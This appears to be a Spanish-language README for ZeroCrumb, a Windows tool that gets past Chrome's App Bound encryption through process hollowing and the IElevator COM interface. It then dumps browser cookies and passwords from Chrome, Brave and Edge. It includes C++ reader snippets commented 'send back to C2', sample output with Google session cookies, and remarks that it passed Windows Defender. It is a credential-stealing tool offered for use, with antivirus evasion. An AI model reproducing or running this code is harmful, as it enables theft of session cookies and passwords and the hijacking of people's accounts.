
Volcado de Credenciales Protegidas por App Bound & Cookies sin Privilegios
Volcado de credenciales protegidas App Bound y cookies sin privilegios.
ZeroCrumb elude el Servicio de Elevación de Chrome suplantando una instancia de Chrome mediante Transacted Hollowing, lo que nos permite usar la interfaz COM IElevator para descifrar la App Bound Key.
Luego, el volcador de claves que se ejecuta en la instancia de Chrome vaciada enviará la clave descifrada de vuelta a ZeroCrumb a través de un Named Pipe.
Después de esto, ZeroCrumb descifra las cookies/contraseñas del navegador especificado con la clave obtenida anteriormente.
El uso de named pipes en ZeroCrumb permite que cualquier programa, siempre que pueda usar la API de Windows, se conecte al named pipe de ZeroCrumb y lea la App Bound Key.
Si deseas usar ZeroCrumb como biblioteca, necesitarás compilar un DLL que exporte una función que realice el vaciado de Chrome con el volcador de claves. También podrías necesitar incrustar el PE del volcador de claves en la sección .rsrc del DLL compilado y luego recuperarlo con las API de Windows de recursos de aplicación.
Puedes ejecutar esto en cualquier directorio de tu elección siempre que el volcador de claves esté en el mismo directorio.
ZeroCrumb.exe <BROWSER_TYPE> <DUMP_TYPE>
Browser Types:
Chrome -> 0
Brave -> 1
Edge -> 2
Dump Types:
Cookies
Passwords
ZeroCrumb proporciona clases CookieReader y PasswordReader fáciles de usar:
auto reader = new CookieReader(cookiesPath.c_str(), key);
reader->initSqliteDb();
reader->prepare(queries::cookies);
reader->populateCookies();
for (auto& cookie : reader->cookies) {
string name = cookie->name;
string site = cookie->site;
string path = cookie->path;
string cookieValue = cookie->cookie;
// dump to file, send back to C2, etc...
}
// keep in mind passwords aren't encrypted using the app bound key (yet)
auto reader = new PasswordReader(passwordsPath.c_str(), key);
reader->initSqliteDb();
reader->prepare(queries::passwords);
reader->populatePasswords();
for (auto& password : reader->passwords) {
auto name = password->name;
auto site = password->site;
auto passwordValue = password->password;
// dump to file, send back to C2, etc...
}
ZeroCrumb requiere dos dependencias de Vcpkg:
sqlite3
libsodium
$ ZeroCrumb.exe 0 Cookies
[*] Reading From Pipe...
App Bound Key: 980f8ea8af3299d966a26242.....
============
Name: SIDCC
Site: .google.com
Path: /
Cookie: AKEyXzXxD19T0KLMkrMC-eUXkrnEFi92OXq6rj1vydvmdL73olBVQGRQ4cG_hK5sqPhO1rLd1CM
============
Name: __Secure-1PSIDCC
Site: .google.com
Path: /
Cookie: AKEyXzXXC8_MNDlVbAaw512aXu-QJkl0uKNW66rhjeufotzoJhT3OPN5TuCQnfKS8l57_WGfDw
============
Name: __Secure-3PSIDCC
Site: .google.com
Path: /
Cookie: AKEyXzVVySM4FWl9itegCN2evcSmBvGc7_iXHqkKZ6VYPKmR--_LsHx1Aflar6SU4nyJiDaFq028
============
Name: udid
Site: .veepn.com
Path: /
Cookie: 0dd5b8bb-8c5b-47f3-87f9-1db8fa7d885f
============
Puedes modificar ZeroCrumb para que funcione con cualquier tipo de credencial distinta de cookies y contraseñas.
Esta no es, ni mucho menos, la implementación más sigilosa de esta evasión; puede ser detectada mediante la comprobación de cadenas específicas, el hooking de API, etc.
Al momento de realizar esta prueba, pasó Windows Defender, pero no he verificado otros antivirus.
Dejaré que el usuario haga la evasión más sigilosa como ejercicio si esta implementación de evasión llega a ser detectada mediante firmas en el futuro.